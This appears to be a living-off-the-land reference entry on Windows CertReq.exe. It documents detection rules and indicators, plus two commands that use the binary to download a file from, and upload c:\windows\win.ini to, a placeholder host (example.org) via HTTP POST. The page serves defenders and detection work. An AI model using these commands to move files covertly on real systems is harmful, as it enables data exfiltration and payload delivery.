# .. /CertReq.exe

Download Upload

Used for requesting and managing certificates

**Paths:**
C:\Windows\System32\certreq.exe
C:\Windows\SysWOW64\certreq.exe

**Resources:**

- https://dtm.uk/certreq

**Acknowledgements:**

- David Middlehurst (@dtmsecurity)

**Detections:**

- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml
- IOC: certreq creates new files
- IOC: certreq makes POST requests

## Download

Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory

```
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
```

| | |
|---|---|
| **Use case:** | Download file from Internet |
| **Privileges required:** | User |
| **Operating systems:** | Windows 10, Windows 11 |
| **ATT&CK® technique:** | T1105 |

## Upload

Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST and show response in terminal

```
CertReq -Post -config https://example.org/ c:\windows\win.ini
```

| | |
|---|---|
| **Use case:** | Upload |
| **Privileges required:** | User |

| | |
|---|---|
| **Operating systems:** | Windows 10, Windows 11 |
| **ATT&CK® technique:** | T1105 |